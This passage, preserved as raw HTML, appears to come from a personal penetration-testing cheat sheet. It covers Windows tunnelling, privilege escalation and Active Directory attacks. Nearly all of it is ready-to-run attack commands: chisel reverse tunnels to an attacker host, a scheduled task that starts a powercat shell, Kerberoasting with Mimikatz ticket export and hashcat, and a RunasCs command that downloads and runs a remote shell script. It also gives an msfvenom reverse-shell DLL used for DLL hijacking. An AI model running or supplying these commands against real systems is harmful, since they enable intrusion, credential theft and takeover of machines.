class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start the server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel server -p 8000 --reverse&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Reverse port forwarding (forward target port 1433 to the attacker machine)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chisel.exe client ATTACKER_IP:8000 R:1433:127.0.0.1:1433&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Attacker machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel server -p 8000 --reverse&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chisel.exe client ATTACKER_IP:8000 R:ATTACKER_PORT:127.0.0.1:TARGET_PORT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The above exposes a target-local port; below, a Kali port is forwarded to Windows&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use this with a ligolo-ng tunnel when an internal host cannot reach Kali and may access only internal resources&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Kali attacker machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel server -p 8000 --reverse&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chisel.exe client KALI_IP:8000 R:80:KALI_IP:80&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Forward a target-machine port to Kali:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopychisel.exe client KALI:8000 R:1433:127.0.0.1:1433&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↑&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Points to the target machine locally&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Forward a Kali port to the target machine:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopychisel.exe client KALI:8000 R:80:KALI_IP:80&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↑&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Points to Kali&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="98extracting-archives-from-the-windows-command-line"&gt;&lt;a href="#98extracting-archives-from-the-windows-command-line" class="header-anchor"&gt;&lt;/a&gt;98.Extracting Archives from the Windows Command Line&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use the built-in expand command:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;expand .\nmap.zip -F:* C:\programdata\test&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use PowerShell:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Expand-Archive -Path c:\source\archive.zip -DestinationPath c:\destination&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If the destination directory exists, add -Force:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopyExpand-Archive -Path .\nmap.zip -DestinationPath C:\programdata\test -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use tar (Windows 10 or later):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar -xf nmap.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Extract&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Expand-Archive nmap.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="99unconventional-ideas"&gt;&lt;a href="#99unconventional-ideas" class="header-anchor"&gt;&lt;/a&gt;99.Unconventional Ideas&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Quick scan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -Pn -n 192.168.207.187 -sC -sV -p- --open&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Remember what can be uploaded through file-upload functionality&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;AddType application/x-httpd-php .dork&amp;#34; &amp;gt; .htaccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Available when a service account has lost all permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://itm4n.github.io/localservice-privileges/?source=post_page&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Configure the required privilege list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Privs = @(&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeAssignPrimaryTokenPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeAuditPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeChangeNotifyPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeCreateGlobalPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeImpersonatePrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeIncreaseQuotaPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeShutdownPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeUndockPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeIncreaseWorkingSetPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeTimeZonePrivilege&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create the task principal&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$TaskPrincipal = New-ScheduledTaskPrincipal -UserId &amp;#34;LOCALSERVICE&amp;#34; -LogonType ServiceAccount -RequiredPrivilege $Privs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create the command to execute (reverse-shell example)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$TaskAction = New-ScheduledTaskAction -Execute &amp;#34;powershell.exe&amp;#34; -Argument &amp;#34;-ep Bypass -Command `&amp;#34;. C:\path\to\shell.ps1; powercat -l -p 7003 -ep`&amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Register and start the task&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Register-ScheduledTask -Action $TaskAction -TaskName &amp;#34;PrivEsc&amp;#34; -Principal $TaskPrincipal&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-ScheduledTask -TaskName &amp;#34;PrivEsc&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# On a domain host, remember to use PowerShell scripts to find SPNs and other information locally&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;## 1. Import the script&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\Get-SPN.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 2. Find SPNs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-SPN -type service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 3. Request tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-Type -AssemblyName System.IdentityModel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList &amp;#34;MSSQLSvc/DC.access.offsec&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 4. Export tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Mimikatz -Command &amp;#39;&amp;#34;kerberos::list /export&amp;#34;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or export with a PowerShell command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;klist.exe purge&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;klist.exe tgt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 5. Crack with hashcat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 13100 ticket.kirbi wordlist.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use domain-user permissions to request a TGS for any SPN, mainly when no credentials are available on a domain controller or member host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell iwr http://192.168.45.154/Invoke-Kerberoast.ps1 -outfile Invoke-Kerberoast.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Invoke-Kerberoast.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Kerberoast -OutputFormat HashCat|Out-File -Encoding ASCII hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A lateral-movement tool for direct login with domain credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command &amp;#34;whoami&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-RunasCs -Username user -Password pass -Command &amp;#34;powershell IEX(New-Object Net.WebClient).DownloadString(&amp;#39;http://x.x.x.x/shell.ps1&amp;#39;)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enter-PSSession is built in and also works&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SecPassword = ConvertTo-SecureString &amp;#39;Password123&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Cred = New-Object System.Management.Automation.PSCredential(&amp;#39;domain\user&amp;#39;, $SecPassword)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName target -Credential $Cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /priv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The output above shows privileges, including disabled ones that may be enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enable privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$TokenPriv = Get-TokenPrivilege&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enable-TokenPrivilege -TokenPrivilege $TokenPriv -Privilege SeManageVolumePrivilege&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify that they are enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /priv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The automated method below can enable all of them directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\EnableAllTokenPrivs.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /priv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Token reference&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/gtworek/Priv2Admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SeMachineAccountPrivilege and SeManageVolumePrivilege are covered in this section&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 1. Enable the privilege&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enable-TokenPrivilege -Privilege SeManageVolumePrivilege&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 2. Modify C: drive permissions to gain write access&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\SeManageVolumeExploit.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 3. DLL hijacking&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - systeminfo loads tzres.dll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - Write a malicious tzres.dll to C:\windows\system32\wbem&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - Generate a DLL reverse shell:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp [...] -f dll -o tzres.dll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 4. Run systeminfo to trigger DLL loading and obtain SYSTEM privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tzres.dll is a system component loaded when systeminfo runs&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" 